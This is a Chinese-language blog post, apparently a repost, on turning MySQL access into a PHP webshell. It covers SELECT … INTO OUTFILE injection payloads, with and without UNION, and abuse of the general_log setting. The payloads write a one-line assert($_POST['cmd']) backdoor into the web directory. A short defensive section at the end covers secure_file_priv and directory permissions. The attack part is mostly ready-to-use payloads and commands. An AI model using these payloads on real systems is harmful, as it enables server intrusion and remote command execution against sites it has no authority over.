• MySQL 拿 WebShell


    两种常规方法利用 MySQL getshell 的方法:

    select … into outfile
    general_log

    一、select … into outfile 介绍

    利用需要满足以下条件:

    对web目录有写权限
    GPC关闭(能使用单引号)
    有绝对路径(读文件可以不用,写文件必须)
    没有配置 –secure-file-priv
    姿势:

    有 union
    id=2) union select 1,2,3,4,5,6,7,'<?php assert($_POST["cmd"]);?>’ into outfile ‘/home/wwwroot/shadowyspirits/evil.php’%23
    1
    无 union
    id=2) into outfile ‘/home/wwwroot/shadowyspirits/evil.php’ fields terminated by ‘<?php assert($_POST["cmd"]);?>’%23
    1


    其中 fields terminated by 是用来指定列之间分隔符,如果查询结果为单列则不会插入分隔符,所以必须有多个列才能成功写入一句话

    二、general_log 介绍

    利用需要满足以下条件:

    对web目录有写权限
    GPC关闭(能使用单引号)
    有绝对路径(读文件可以不用,写文件必须)
    需要能执行多行sql语句
    姿势:

    set global general_log='on';
    SET global general_log_file='/home/wwwroot/shadowyspirits/evil.php';
    SELECT '<?php assert($_POST["cmd"]);?>';



    设置了 general_log 和 general_log_file 之后所有SQL记录都会写入指定的文件,所以会导致 log 文件非常大,推荐只暂时打开

    需要注意的是 secure_file_priv 是只读属性,如果试图使用 set global 修改会报如下 Error

    Error Code: 1238. Variable 'secure_file_priv' is a read only

     

    三、防御姿势

    设置 secure_file_prive = null (不允许导入和导出)

    防止暴露网站绝对路径
    正确设置 web 目录权限,除 log、upload 等目录外不授予写权限,upload 目录不授予执行权限

  • 相关阅读:
    初识echarts
    深浅拷贝的理解
    react基本语法及组件
    webpack使用
    网上面试资料整理
    封装原生promise函数
    vue路由懒加载及组件懒加载
    译文---C#堆VS栈(Part Four)
    译文---C#堆VS栈(Part Three)
    译文---C#堆VS栈(Part Two)
  • 原文地址:https://www.cnblogs.com/-qing-/p/10692789.html
Copyright © 2020-2023  润新知